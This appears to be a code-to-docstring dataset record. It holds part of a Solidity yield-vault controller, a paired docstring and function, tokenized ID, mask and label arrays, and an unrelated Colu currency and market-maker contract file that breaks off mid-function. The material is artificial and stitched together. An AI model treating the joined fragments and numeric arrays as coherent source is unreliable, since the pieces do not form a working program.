* @param _strategy The address of the strategy
* @param _token The address of the token
*/
function inCaseStrategyGetStuck(
address _strategy,
address _token
) external onlyStrategist {
IStrategy(_strategy).withdraw(_token);
IERC20(_token).safeTransfer(
vaultManager.governance(),
IERC20(_token).balanceOf(address(this))
);
}
/**
* @notice Withdraws token from the controller to governance
* @dev Only callable by governance or the strategist
* @param _token The address of the token
* @param _amount The amount that will be withdrawn
*/
function inCaseTokensGetStuck(
address _token,
uint256 _amount
) external onlyStrategist {
IERC20(_token).safeTransfer(vaultManager.governance(), _amount);
}
/**
* @notice Removes a strategy for a given token
* @dev Only callable by governance or strategist
* @param _token The address of the token
* @param _strategy The address of the strategy
* @param _timeout The timeout between harvests
*/
function removeStrategy(
address _token,
address _strategy,
uint256 _timeout
) external onlyStrategist {
TokenStrategy storage tokenStrategy = tokenStrategies[_token];
// ensure the strategy is already added
require(tokenStrategy.active[_strategy], "!active");
// get the index of the strategy to remove
uint256 index = tokenStrategy.index[_strategy];
// get the index of the last strategy
uint256 tail = tokenStrategy.strategies.length.sub(1);
// get the address of the last strategy
address replace = tokenStrategy.strategies[tail];
// replace the removed strategy with the tail
tokenStrategy.strategies[index] = replace;
// set the new index for the replaced strategy
tokenStrategy.index[replace] = index;
// remove the duplicate replaced strategy
tokenStrategy.strategies.pop();
// remove the strategy's index
delete tokenStrategy.index[_strategy];
// remove the strategy's cap
delete tokenStrategy.caps[_strategy];
// deactivate the strategy
delete tokenStrategy.active[_strategy];
// pull funds from the removed strategy to the vault
IStrategy(_strategy).withdrawAll();
// remove the strategy from the harvester
IHarvester(vaultManager.harvester()).removeStrategy(_token, _strategy, _timeout);
// get the strategy want token
address _want = IStrategy(_strategy).want();
// if a converter is used
if (_want != IMetaVault(vaults[_token]).want()) {
// disable the strategy on the converter
IConverter(converters[_token][_want]).setStrategy(_strategy, false);
}
emit StrategyRemoved(_token, _strategy);
}
/**
* @notice Reorders two strategies for a given token
* @dev Only callable by governance or strategist
* @param _token The address of the token
* @param _strategy1 The address of the first strategy
* @param _strategy2 The address of the second strategy
*/
function reorderStrategies(
address _token,
address _strategy1,
address _strategy2
) external onlyStrategist {
require(_strategy1 != _strategy2, "_strategy1 == _strategy2");
TokenStrategy storage tokenStrategy = tokenStrategies[_token];
// ensure the strategies are already added
require(tokenStrategy.active[_strategy1]
&& tokenStrategy.active[_strategy2],
"!active");
// get the indexes of the strategies
uint256 index1 = tokenStrategy.index[_strategy1];
uint256 index2 = tokenStrategy.index[_strategy2];
// set the new addresses at their indexes
tokenStrategy.strategies[index1] = _strategy2;
tokenStrategy.strategies[index2] = _strategy1;
// update indexes
tokenStrategy.index[_strategy1] = index2;
tokenStrategy.index[_strategy2] = index1;
emit StrategiesReordered(_token, _strategy1, _strategy2);
}
/**
* @notice Sets/updates the cap of a strategy for a token
* @dev Only callable by governance or strategist
* @dev If the balance of the strategy is greater than the new cap (except if
* the cap is 0), then withdraw the difference from the strategy to the vault.
* @param _token The address of the token
* @param _strategy The address of the strategy
* @param _cap The new cap of the strategy
*/
function setCap(
address _token,
address _strategy,
uint256 _cap
) external onlyStrategist {
require(tokenStrategies[_token].active[_strategy], "!active");
tokenStrategies[_token].caps[_strategy] = _cap;
uint256 _balance = IStrategy(_strategy).balanceOf();
// send excess funds (over cap) back to the vault
if (_balance > _cap && _cap != 0) {
uint256 _diff = _balance.sub(_cap);
IStrategy(_strategy).withdraw(_diff);
}
}
/**
* @notice Sets/updates the converter for given input and output tokens
* @dev Only callable by governance or strategist
* @param _input The address of the input token
* @param _output The address of the output token
* @param _converter The address of the converter
*/
function setConverter(
address _input,
address _output,
address _converter
) external onlyStrategist {
converters[_input][_output] = _converter;
emit SetConverter(_input, _output, _converter);
}
/**
* @notice Sets/updates the global invest enabled flag
* @dev Only callable by governance or strategist
* @param _investEnabled The new bool of the invest enabled flag
*/
function setInvestEnabled(bool _investEnabled) external onlyStrategist {
globalInvestEnabled = _investEnabled;
}
/**
* @notice Sets/updates the maximum number of strategies for a token
* @dev Only callable by governance or strategist
* @param _maxStrategies The new value of the maximum strategies
*/
function setMaxStrategies(uint256 _maxStrategies) external onlyStrategist {
require(_maxStrategies > 0, "!_maxStrategies");
maxStrategies = _maxStrategies;
}
/**
* @notice Sets the address of a vault for a given token
* @dev Only callable by governance or strategist
* @param _token The address of the token
* @param _vault The address of the vault
*/
function setVault(address _token, address _vault) external onlyStrategist {
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
vaultTokens[_vault] = _token;
}
/**
* @notice Withdraws all funds from a strategy
* @dev Only callable by governance or the strategist
* @param _strategy The address of the strategy
*/
function withdrawAll(address _strategy) external onlyStrategist {
// WithdrawAll sends 'want' to 'vault'
IStrategy(_strategy).withdrawAll();
}
/**
* (GOVERNANCE|STRATEGIST|HARVESTER)-ONLY FUNCTIONS
*/
/**
* @notice Harvests the specified strategy
* @dev Only callable by governance, the strategist, or the harvester
* @param _strategy The address of the strategy
*/
function harvestStrategy(address _strategy) external override onlyHarvester {
IStrategy(_strategy).harvest();
emit Harvest(_strategy);
}
/**
* VAULT-ONLY FUNCTIONS
*/
/**
* @notice Invests funds into a strategy
* @dev Only callable by a vault
* @param _token The address of the token
* @param _amount The amount that will be invested
*/
function earn(address _token, uint256 _amount) external override onlyVault(_token) {
// get the first strategy that will accept the deposit
address _strategy = getBestStrategyEarn(_token, _amount);
// get the want token of the strategy
address _want = IStrategy(_strategy).want();
// if the depositing token is not what the strategy wants, convert it
// then transfer it to the strategy
if (_want != _token) {
address _converter = converters[_token][_want];
IERC20(_token).safeTransfer(_converter, _amount);
_amount = IConverter(_converter).convert(
_token,
_want,
_amount
);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
// call the strategy's deposit function
IStrategy(_strategy).deposit();
emit Earn(_strategy);
}
/**
* @notice Withdraws funds from a strategy
* @dev Only callable by a vault
* @dev If the withdraw amount is greater than the first strategy given
* by getBestStrategyWithdraw, this function will loop over strategies
* until the requested amount is met.
* @param _token The address of the token
* @param _amount The amount that will be withdrawn
*/
function withdraw(address _token, uint256 _amount) external override onlyVault(_token) {
(
address[] memory _strategies,
uint256[] memory _amounts
) = getBestStrategyWithdraw(_token, _amount);
for (uint i = 0; i < _strategies.length; i++) {
// getBestStrategyWithdraw will return arrays larger than needed
// if this happens, simply exit the loop
if (_strategies[i] == address(0)) {
break;
}
IStrategy(_strategies[i]).withdraw(_amounts[i]);
}
}
/**
* EXTERNAL VIEW FUNCTIONS
*/
/**
* @notice Returns the balance of the sum of all strategies for a given token
* @dev This function would make deposits more expensive for the more strategies
* that are added for a given token
* @param _token The address of the token
*/
function balanceOf(address _token) external view override returns (uint256 _balance) {
uint256 k = tokenStrategies[_token].strategies.length;
for (uint i = 0; i < k; i++) {
IStrategy _strategy = IStrategy(tokenStrategies[_token].strategies[i]);
address _want = _strategy.want();
if (_want != _token) {
address _converter = converters[_token][_want];
_balance = _balance.add(IConverter(_converter).convert_rate(
_want,
_token,
_strategy.balanceOf()
));
} else {
_balance = _balance.add(_strategy.balanceOf());
}
}
}
/**
* @notice Returns the cap of a strategy for a given token
* @param _token The address of the token
* @param _strategy The address of the strategy
*/
function getCap(address _token, address _strategy) external view returns (uint256) {
return tokenStrategies[_token].caps[_strategy];
}
/**
* @notice Returns whether investing is enabled for the calling vault
* @dev Should be called by the vault
*/
function investEnabled() external view override returns (bool) {
if (globalInvestEnabled) {
return tokenStrategies[vaultTokens[msg.sender]].strategies.length > 0;
}
return false;
}
/**
* @notice Returns all the strategies for a given token
* @param _token The address of the token
*/
function strategies(address _token) external view returns (address[] memory) {
return tokenStrategies[_token].strategies;
}
/**
* @notice Returns the want address of a given token
* @dev Since strategies can have different want tokens, default to using the
* want token of the vault for a given token.
* @param _token The address of the token
*/
function want(address _token) external view override returns (address) {
return IMetaVault(vaults[_token]).want();
}
/**
* @notice Returns the fee for withdrawing a specified amount
* @param _amount The amount that will be withdrawn
*/
function withdrawFee(
address,
uint256 _amount
) external view override returns (uint256 _fee) {
return vaultManager.withdrawalProtectionFee().mul(_amount).div(10000);
}
/**
* PUBLIC VIEW FUNCTIONS
*/
/**
* @notice Returns the best (optimistic) strategy for funds to be sent to with earn
* @param _token The address of the token
* @param _amount The amount that will be invested
*/
function getBestStrategyEarn(
address _token,
uint256 _amount
) public view returns (address _strategy) {
// get the index of the last strategy
uint256 k = tokenStrategies[_token].strategies.length;
// scan backwards from the index to the beginning of strategies
for (uint i = k; i > 0; i--) {
_strategy = tokenStrategies[_token].strategies[i - 1];
// get the new balance if the _amount were added to the strategy
uint256 balance = IStrategy(_strategy).balanceOf().add(_amount);
uint256 cap = tokenStrategies[_token].caps[_strategy];
// stop scanning if the deposit wouldn't go over the cap
if (balance <= cap || cap == 0) {
break;
}
}
// if never broken from the loop, use the last scanned strategy
// this could cause it to go over cap if (for some reason) no strategies
// were added with 0 cap
}
/**
* @notice Returns the best (optimistic) strategy for funds to be withdrawn from
* @dev Since Solidity doesn't support dynamic arrays in memory, the returned arrays
* from this function will always be the same length as the amount of strategies for
* a token. Check that _strategies[i] != address(0) when consuming to know when to
* break out of the loop.
* @param _token The address of the token
* @param _amount The amount that will be withdrawn
*/
function getBestStrategyWithdraw(
address _token,
uint256 _amount
) public view returns (
address[] memory _strategies,
uint256[] memory _amounts
) {
// get the length of strategies
uint256 k = tokenStrategies[_token].strategies.length;
// initialize fixed-length memory arrays
_strategies = new address[](k);
_amounts = new uint256[](k);
// scan forward from the the beginning of strategies
for (uint i = 0; i < k; i++) {
address _strategy = tokenStrategies[_token].strategies[i];
_strategies[i] = _strategy;
// get the balance of the strategy
uint256 _balance = IStrategy(_strategy).balanceOf();
// if the strategy doesn't have the balance to cover the withdraw
if (_balance < _amount) {
// withdraw what we can and add to the _amounts
_amounts[i] = _balance;
_amount = _amount.sub(_balance);
} else {
// stop scanning if the balance is more than the withdraw amount
_amounts[i] = _amount;
break;
}
}
}
/**
* MODIFIERS
*/
modifier onlyGovernance() {
require(msg.sender == vaultManager.governance(), "!governance");
_;
}
modifier onlyStrategist() {
require(msg.sender == vaultManager.strategist()
|| msg.sender == vaultManager.governance(),
"!strategist"
);
_;
}
modifier onlyHarvester() {
require(
msg.sender == vaultManager.harvester() ||
msg.sender == vaultManager.strategist() ||
msg.sender == vaultManager.governance(),
"!harvester"
);
_;
}
modifier onlyVault(address _token) {
require(msg.sender == vaults[_token], "!vault");
_;
}
}
|
* @notice Withdraws token from the controller to governance @dev Only callable by governance or the strategist @param _token The address of the token @param _amount The amount that will be withdrawn/
|
function inCaseTokensGetStuck(
address _token,
uint256 _amount
) external onlyStrategist {
IERC20(_token).safeTransfer(vaultManager.governance(), _amount);
}
| 5,471,910 |
[
1,
1190,
9446,
87,
1147,
628,
326,
2596,
358,
314,
1643,
82,
1359,
225,
5098,
4140,
635,
314,
1643,
82,
1359,
578,
326,
609,
1287,
376,
225,
389,
2316,
1021,
1758,
434,
326,
1147,
225,
389,
8949,
1021,
3844,
716,
903,
506,
598,
9446,
82,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
316,
2449,
5157,
967,
510,
9031,
12,
203,
3639,
1758,
389,
2316,
16,
203,
3639,
2254,
5034,
389,
8949,
203,
565,
262,
3903,
1338,
1585,
1287,
376,
288,
203,
3639,
467,
654,
39,
3462,
24899,
2316,
2934,
4626,
5912,
12,
26983,
1318,
18,
75,
1643,
82,
1359,
9334,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.18;
/// @title ERC Token Standard #20 Interface (https://github.com/ethereum/EIPs/issues/20)
contract ERC20 {
uint public totalSupply;
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/// @title Basic ERC20 token contract implementation.
/// @dev Based on OpenZeppelin's StandardToken.
contract BasicToken is ERC20 {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) balances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
/// @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
/// @param _spender address The address which will spend the funds.
/// @param _value uint256 The amount of tokens to be spent.
function approve(address _spender, uint256 _value) public returns (bool) {
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve (see NOTE)
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
revert();
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Function to check the amount of tokens that an owner allowed to a spender.
/// @param _owner address The address which owns the funds.
/// @param _spender address The address which will spend the funds.
/// @return uint256 specifying the amount of tokens still available for the spender.
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @dev Gets the balance of the specified address.
/// @param _owner address The address to query the the balance of.
/// @return uint256 representing the amount owned by the passed address.
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
/// @dev Transfer token to a specified address.
/// @param _to address The address to transfer to.
/// @param _value uint256 The amount to be transferred.
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Transfer tokens from one address to another.
/// @param _from address The address which you want to send tokens from.
/// @param _to address The address which you want to transfer to.
/// @param _value uint256 the amount of tokens to be transferred.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
}
/// @title ERC Token Standard #677 Interface (https://github.com/ethereum/EIPs/issues/677)
contract ERC677 is ERC20 {
function transferAndCall(address to, uint value, bytes data) public returns (bool ok);
event TransferAndCall(address indexed from, address indexed to, uint value, bytes data);
}
/// @title Math operations with safety checks
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function toPower2(uint256 a) internal pure returns (uint256) {
return mul(a, a);
}
function sqrt(uint256 a) internal pure returns (uint256) {
uint256 c = (a + 1) / 2;
uint256 b = a;
while (c < b) {
b = c;
c = (a / c + c) / 2;
}
return b;
}
}
/// @title Standard677Token implentation, base on https://github.com/ethereum/EIPs/issues/677
contract Standard677Token is ERC677, BasicToken {
/// @dev ERC223 safe token transfer from one address to another
/// @param _to address the address which you want to transfer to.
/// @param _value uint256 the amount of tokens to be transferred.
/// @param _data bytes data that can be attached to the token transation
function transferAndCall(address _to, uint _value, bytes _data) public returns (bool) {
require(super.transfer(_to, _value)); // do a normal token transfer
TransferAndCall(msg.sender, _to, _value, _data);
//filtering if the target is a contract with bytecode inside it
if (isContract(_to)) return contractFallback(_to, _value, _data);
return true;
}
/// @dev called when transaction target is a contract
/// @param _to address the address which you want to transfer to.
/// @param _value uint256 the amount of tokens to be transferred.
/// @param _data bytes data that can be attached to the token transation
function contractFallback(address _to, uint _value, bytes _data) private returns (bool) {
ERC223Receiver receiver = ERC223Receiver(_to);
require(receiver.tokenFallback(msg.sender, _value, _data));
return true;
}
/// @dev check if the address is contract
/// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
/// @param _addr address the address to check
function isContract(address _addr) private constant returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
}
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic authorization control functions,
/// this simplifies the implementation of "user permissions".
/// @dev Based on OpenZeppelin's Ownable.
contract Ownable {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed _by, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
/// @dev Constructor sets the original `owner` of the contract to the sender account.
function Ownable() public {
owner = msg.sender;
}
/// @dev Reverts if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwnerCandidate() {
require(msg.sender == newOwnerCandidate);
_;
}
/// @dev Proposes to transfer control of the contract to a newOwnerCandidate.
/// @param _newOwnerCandidate address The address to transfer ownership to.
function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner {
require(_newOwnerCandidate != address(0));
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
/// @dev Accept ownership transfer. This method needs to be called by the perviously proposed owner.
function acceptOwnership() external onlyOwnerCandidate {
address previousOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = address(0);
OwnershipTransferred(previousOwner, owner);
}
}
/// @title Token holder contract.
contract TokenHolder is Ownable {
/// @dev Allow the owner to transfer out any accidentally sent ERC20 tokens.
/// @param _tokenAddress address The address of the ERC20 contract.
/// @param _amount uint256 The amount of tokens to be transferred.
function transferAnyERC20Token(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool success) {
return ERC20(_tokenAddress).transfer(owner, _amount);
}
}
/// @title Colu Local Currency contract.
/// @author Rotem Lev.
contract ColuLocalCurrency is Ownable, Standard677Token, TokenHolder {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
/// @dev cotract to use when issuing a CC (Local Currency)
/// @param _name string name for CC token that is created.
/// @param _symbol string symbol for CC token that is created.
/// @param _decimals uint8 percison for CC token that is created.
/// @param _totalSupply uint256 total supply of the CC token that is created.
function ColuLocalCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
require(_totalSupply != 0);
require(bytes(_name).length != 0);
require(bytes(_symbol).length != 0);
totalSupply = _totalSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[msg.sender] = totalSupply;
}
}
/// @title ERC223Receiver Interface
/// @dev Based on the specs form: https://github.com/ethereum/EIPs/issues/223
contract ERC223Receiver {
function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok);
}
/// @title Standard ERC223 Token Receiver implementing tokenFallback function and tokenPayable modifier
contract Standard223Receiver is ERC223Receiver {
Tkn tkn;
struct Tkn {
address addr;
address sender; // the transaction caller
uint256 value;
}
bool __isTokenFallback;
modifier tokenPayable {
require(__isTokenFallback);
_;
}
/// @dev Called when the receiver of transfer is contract
/// @param _sender address the address of tokens sender
/// @param _value uint256 the amount of tokens to be transferred.
/// @param _data bytes data that can be attached to the token transation
function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) {
if (!supportsToken(msg.sender)) {
return false;
}
// Problem: This will do a sstore which is expensive gas wise. Find a way to keep it in memory.
// Solution: Remove the the data
tkn = Tkn(msg.sender, _sender, _value);
__isTokenFallback = true;
if (!address(this).delegatecall(_data)) {
__isTokenFallback = false;
return false;
}
// avoid doing an overwrite to .token, which would be more expensive
// makes accessing .tkn values outside tokenPayable functions unsafe
__isTokenFallback = false;
return true;
}
function supportsToken(address token) public constant returns (bool);
}
/// @title TokenOwnable
/// @dev The TokenOwnable contract adds a onlyTokenOwner modifier as a tokenReceiver with ownable addaptation
contract TokenOwnable is Standard223Receiver, Ownable {
/// @dev Reverts if called by any account other than the owner for token sending.
modifier onlyTokenOwner() {
require(tkn.sender == owner);
_;
}
}
/// @title Market Maker Interface.
/// @author Tal Beja.
contract MarketMaker is ERC223Receiver {
function getCurrentPrice() public constant returns (uint _price);
function change(address _fromToken, uint _amount, address _toToken) public returns (uint _returnAmount);
function change(address _fromToken, uint _amount, address _toToken, uint _minReturn) public returns (uint _returnAmount);
function change(address _toToken) public returns (uint _returnAmount);
function change(address _toToken, uint _minReturn) public returns (uint _returnAmount);
function quote(address _fromToken, uint _amount, address _toToken) public constant returns (uint _returnAmount);
function openForPublicTrade() public returns (bool success);
function isOpenForPublic() public returns (bool success);
event Change(address indexed fromToken, uint inAmount, address indexed toToken, uint returnAmount, address indexed account);
}
/// @title Ellipse Market Maker contract.
/// @dev market maker, using ellipse equation.
/// @author Tal Beja.
contract EllipseMarketMaker is TokenOwnable {
// precision for price representation (as in ether or tokens).
uint256 public constant PRECISION = 10 ** 18;
// The tokens pair.
ERC20 public token1;
ERC20 public token2;
// The tokens reserves.
uint256 public R1;
uint256 public R2;
// The tokens full suplly.
uint256 public S1;
uint256 public S2;
// State flags.
bool public operational;
bool public openForPublic;
// Library contract address.
address public mmLib;
/// @dev Constructor calling the library contract using delegate.
function EllipseMarketMaker(address _mmLib, address _token1, address _token2) public {
require(_mmLib != address(0));
// Signature of the mmLib's constructor function
// bytes4 sig = bytes4(keccak256("constructor(address,address,address)"));
bytes4 sig = 0x6dd23b5b;
// 3 arguments of size 32
uint256 argsSize = 3 * 32;
// sig + arguments size
uint256 dataSize = 4 + argsSize;
bytes memory m_data = new bytes(dataSize);
assembly {
// Add the signature first to memory
mstore(add(m_data, 0x20), sig)
// Add the parameters
mstore(add(m_data, 0x24), _mmLib)
mstore(add(m_data, 0x44), _token1)
mstore(add(m_data, 0x64), _token2)
}
// delegatecall to the library contract
require(_mmLib.delegatecall(m_data));
}
/// @dev returns true iff token is supperted by this contract (for erc223/677 tokens calls)
/// @param token can be token1 or token2
function supportsToken(address token) public constant returns (bool) {
return (token1 == token || token2 == token);
}
/// @dev gets called when no other function matches, delegate to the lib contract.
function() public {
address _mmLib = mmLib;
if (msg.data.length > 0) {
assembly {
calldatacopy(0xff, 0, calldatasize)
let retVal := delegatecall(gas, _mmLib, 0xff, calldatasize, 0, 0x20)
switch retVal case 0 { revert(0,0) } default { return(0, 0x20) }
}
}
}
}
/// @title Ellipse Market Maker Interfase
/// @author Tal Beja
contract IEllipseMarketMaker is MarketMaker {
// precision for price representation (as in ether or tokens).
uint256 public constant PRECISION = 10 ** 18;
// The tokens pair.
ERC20 public token1;
ERC20 public token2;
// The tokens reserves.
uint256 public R1;
uint256 public R2;
// The tokens full suplly.
uint256 public S1;
uint256 public S2;
// State flags.
bool public operational;
bool public openForPublic;
// Library contract address.
address public mmLib;
function supportsToken(address token) public constant returns (bool);
function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256);
function validateReserves() public view returns (bool);
function withdrawExcessReserves() public returns (uint256);
function initializeAfterTransfer() public returns (bool);
function initializeOnTransfer() public returns (bool);
function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256);
}
/// @title Colu Local Currency + Market Maker factory contract.
/// @author Rotem Lev.
contract CurrencyFactory is Standard223Receiver, TokenHolder {
struct CurrencyStruct {
string name;
uint8 decimals;
uint256 totalSupply;
address owner;
address mmAddress;
}
// map of Market Maker owners: token address => currency struct
mapping (address => CurrencyStruct) public currencyMap;
// address of the deployed CLN contract (ERC20 Token)
address public clnAddress;
// address of the deployed elipse market maker contract
address public mmLibAddress;
address[] public tokens;
event MarketOpen(address indexed marketMaker);
event TokenCreated(address indexed token, address indexed owner);
// modifier to check if called by issuer of the token
modifier tokenIssuerOnly(address token, address owner) {
require(currencyMap[token].owner == owner);
_;
}
// modifier to only accept transferAndCall from CLN token
modifier CLNOnly() {
require(msg.sender == clnAddress);
_;
}
/// @dev constructor only reuires the address of the CLN token which must use the ERC20 interface
/// @param _mmLib address for the deployed market maker elipse contract
/// @param _clnAddress address for the deployed ERC20 CLN token
function CurrencyFactory(address _mmLib, address _clnAddress) public {
require(_mmLib != address(0));
require(_clnAddress != address(0));
mmLibAddress = _mmLib;
clnAddress = _clnAddress;
}
/// @dev create the MarketMaker and the CC token put all the CC token in the Market Maker reserve
/// @param _name string name for CC token that is created.
/// @param _symbol string symbol for CC token that is created.
/// @param _decimals uint8 percison for CC token that is created.
/// @param _totalSupply uint256 total supply of the CC token that is created.
function createCurrency(string _name,
string _symbol,
uint8 _decimals,
uint256 _totalSupply) public
returns (address) {
ColuLocalCurrency subToken = new ColuLocalCurrency(_name, _symbol, _decimals, _totalSupply);
EllipseMarketMaker newMarketMaker = new EllipseMarketMaker(mmLibAddress, clnAddress, subToken);
//set allowance
require(subToken.transfer(newMarketMaker, _totalSupply));
require(IEllipseMarketMaker(newMarketMaker).initializeAfterTransfer());
currencyMap[subToken] = CurrencyStruct({ name: _name, decimals: _decimals, totalSupply: _totalSupply, mmAddress: newMarketMaker, owner: msg.sender});
tokens.push(subToken);
TokenCreated(subToken, msg.sender);
return subToken;
}
/// @dev normal send cln to the market maker contract, sender must approve() before calling method. can only be called by owner
/// @dev sending CLN will return CC from the reserve to the sender.
/// @param _token address address of the cc token managed by this factory.
/// @param _clnAmount uint256 amount of CLN to transfer into the Market Maker reserve.
function insertCLNtoMarketMaker(address _token,
uint256 _clnAmount) public
tokenIssuerOnly(_token, msg.sender)
returns (uint256 _subTokenAmount) {
require(_clnAmount > 0);
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
require(ERC20(clnAddress).transferFrom(msg.sender, this, _clnAmount));
require(ERC20(clnAddress).approve(marketMakerAddress, _clnAmount));
_subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, _clnAmount, _token);
require(ERC20(_token).transfer(msg.sender, _subTokenAmount));
}
/// @dev ERC223 transferAndCall, send cln to the market maker contract can only be called by owner (see MarketMaker)
/// @dev sending CLN will return CC from the reserve to the sender.
/// @param _token address address of the cc token managed by this factory.
function insertCLNtoMarketMaker(address _token) public
tokenPayable
CLNOnly
tokenIssuerOnly(_token, tkn.sender)
returns (uint256 _subTokenAmount) {
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
require(ERC20(clnAddress).approve(marketMakerAddress, tkn.value));
_subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, tkn.value, _token);
require(ERC20(_token).transfer(tkn.sender, _subTokenAmount));
